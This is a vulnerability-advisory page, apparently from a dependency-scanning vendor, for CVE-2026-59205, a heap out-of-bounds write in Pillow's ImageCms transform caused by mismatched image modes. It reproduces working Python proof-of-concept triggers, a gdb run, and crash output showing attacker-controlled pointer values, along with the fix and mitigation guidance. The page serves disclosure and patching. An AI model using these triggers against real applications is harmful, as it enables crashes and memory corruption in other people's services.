Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
HIGH severity

CVE-2026-59205 — pillow

HIGHFix: python-pillow/Pillow@a9ffc42

CVE-2026-59205 is a high-severity (CVSS 7.5) Out-of-bounds Write vulnerability in pillow. A fix is available for pillow — see the affected versions and patch details below.

Pillow: Controlled heap out-of-bounds write in `ImageCmsTransform.apply()` via output mode mismatch

Also known asBIT-pillow-2026-59205GHSA-9hw9-ch79-4vh6PYSEC-2026-3453
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 14, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-59205.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk-0.27%
Lower risk than most CVEs31th percentile — riskier than 31% of all scored CVEsHighest risk
0.00%0.39%0.77%1.16%0.4%0.4%0.7%0.4%Aug 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-59205 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 389,824 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍pillow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Pillow's public ImageCms.ImageCmsTransform.apply(im, imOut) API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode.

For example, a transform built as RGBA -> RGBA can be applied to an L output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel L image row.

Details

src/PIL/ImageCms.py:ImageCmsTransform.apply() accepts an optional caller supplied imOut:

def apply(self, im, imOut=None):
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

If imOut is provided, Pillow does not check:

im.mode == self.input_mode
imOut.mode == self.output_mode

The C wrapper in src/_imagingcms.c unwraps both image cores and only checks that the output dimensions are at least as large as the input dimensions:

static int
pyCMSdoTransform(Imaging im, Imaging imOut, cmsHTRANSFORM hTransform) {
    if (im->xsize > imOut->xsize || im->ysize > imOut->ysize) {
        return -1;
    }

    for (i = 0; i < im->ysize; i++) {
        cmsDoTransform(hTransform, im->image[i], imOut->image[i], im->xsize);
    }

    pyCMScopyAux(hTransform, imOut, im);
    return 0;
}

findLCMStype() maps RGB, RGBA, and RGBX transform modes to LittleCMS TYPE_RGBA_8, which writes 4 bytes per pixel:

case IMAGING_MODE_RGB:
case IMAGING_MODE_RGBA:
case IMAGING_MODE_RGBX:
    return TYPE_RGBA_8;

So with a transform declared as RGBA -> RGBA, LittleCMS writes 4 * width bytes to each output row. If the supplied output image is mode L, Pillow only allocated 1 * width bytes for that row.

For width 4096:

destination row allocation: 4096 bytes
LittleCMS write size:       16384 bytes
overflow:                  ~12288 bytes past the row

The bug does not require a large image. Width 8 was enough to corrupt heap metadata. At width 8, apply() returned to Python and printed after; glibc detected the corrupted heap later during cleanup.

PoC

Tiny heap corruption trigger:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (8, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (8, 1), 0)

print("before", flush=True)
transform.apply(im, out)
print("after")

Observed locally on Pillow 12.3.0.dev0:

before
after
free(): invalid next size (normal)
Aborted (core dumped)

Controlled overwrite evidence PoC:

from PIL import Image, ImageCms

srgb = ImageCms.createProfile("sRGB")
transform = ImageCms.buildTransform(srgb, srgb, "RGBA", "RGBA")

im = Image.new("RGBA", (4096, 1), (0x41, 0x42, 0x43, 0x44))
out = Image.new("L", (4096, 1), 0)

transform.apply(im, out)

Run under gdb:

gdb -q --batch -ex run -ex bt --args \
  python3 b022_controlled.py

Observed on Pillow 12.3.0.dev0:

Program received signal SIGSEGV, Segmentation fault.
___pthread_mutex_lock (mutex=mutex@entry=0x4443424144434241)
#1 _cmsLockPrimitive (m=0x4443424144434241)
#2 defMtxLock (id=0x4443424144434241, mtx=0x4443424144434241)
#3 _cmsLockMutex (ContextID=0x4443424144434241, mtx=0x4443424144434241)
#4 cmsSaveProfileToIOhandler(...)
#5 cmsSaveProfileToMem(...)
#6 cms_profile_tobytes (...) at src/_imagingcms.c:152

0x4443424144434241 is the attacker-controlled source pixel pattern b"ABCDABCD" interpreted as a little-endian pointer-sized value.

Using source pixels (1, 2, 3, 4) similarly produced a faulting pointer of 0x403020104030201, matching the repeated pixel bytes.

Impact

This is a heap out-of-bounds write in Pillow's native ImageCms extension, reachable through public API.

Applications are impacted if untrusted users can control ImageCms transform parameters and/or provide the output image object passed to ImageCmsTransform.apply(). The source image pixels influence the bytes written out of bounds.

Suggested fix

Validate modes before calling into the native transform:

def apply(self, im, imOut=None):
    if im.mode != self.input_mode:
        raise ValueError("input mode mismatch")
    if imOut is None:
        imOut = Image.new(self.output_mode, im.size, None)
    elif imOut.mode != self.output_mode:
        raise ValueError("output mode mismatch")
    self.transform.apply(im.getim(), imOut.getim())
    imOut.info["icc_profile"] = self.output_profile.tobytes()
    return imOut

The C extension should also defensively reject mismatched image modes before calling cmsDoTransform().

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpillowall versions12.3.0pip install --upgrade 'pillow==12.3.0'

Affected Products

1 product · 1 configurations
Application
pillowpython
< 12.3.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pillow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update pillow to 12.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-59205 is resolved across your whole dependency graph.

  3. Workarounds

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

The impact is limited to denial of service. While the underlying issue is heap corruption via mode mismatch, it does not provide a controlled write primitive exploitable for code execution in affected Red Hat products.

Workaround published by Red Hat
Most applications using Pillow's color management via profileToProfile() or applyTransform() are not exposed. Only code that calls ImageCmsTransform.apply() directly with a user-controlled output image whose mode does not match the transform can trigger the heap corruption. Audit your code for direct apply() calls to confirm. RHEL builds ship with ASLR, full RELRO/PIE, and FORTIFY_SOURCE by default, making escalation from crash to code execution much harder. For DoS containment, configure automatic service restart (Restart=always in systemd, or container restart policies) so the process recovers without manual intervention.
Source: Red Hat security advisory for CVE-2026-59205 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat AI Inference Server 3.2rhaiis/vllm-cuda-rhel9:1787860580RHSA-2026:61627
Red Hat AI Inference Server 3.2rhaiis/model-opt-cuda-rhel9:1787772157RHSA-2026:61628
Red Hat AI Inference Server 3.2rhaiis/vllm-rocm-rhel9:1787884873RHSA-2026:61629
Red Hat AI Inference Server 3.3rhaiis/model-opt-cuda-rhel9:1787601159RHSA-2026:59518
Red Hat AI Inference Server 3.4rhaii/vllm-spyre-rhel9:1789681201RHSA-2026:69464
Red Hat AI Inference Server 3.4rhaii/vllm-cpu-rhel9:1789681128RHSA-2026:69466
Red Hat AI Inference Server 3.4rhaii/vllm-cuda-rhel9:1789681126RHSA-2026:69467
Red Hat AI Inference Server 3.4rhaii/model-opt-cuda-rhel9:1789681126RHSA-2026:69468

Frequently Asked Questions

### Summary Pillow's public `ImageCms.ImageCmsTransform.apply(im, imOut)` API can trigger controlled native heap corruption when the caller supplies an output image whose mode does not match the transform's declared output mode. For example, a transform built as `RGBA -> RGBA` can be applied to an `L` output image. Pillow checks dimensions only, then calls LittleCMS with the output row pointer. LittleCMS writes RGBA-sized rows into a 1-byte-per-pixel `L` image row. ### Details `src/PIL/ImageCms.py:ImageCmsTransform.apply()` accepts an optional caller supplied `imOut`: ```python def apply(
O3 Security · Impact-Aware SCA

Is CVE-2026-59205 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-59205: pillow — Fixed in 12.3.0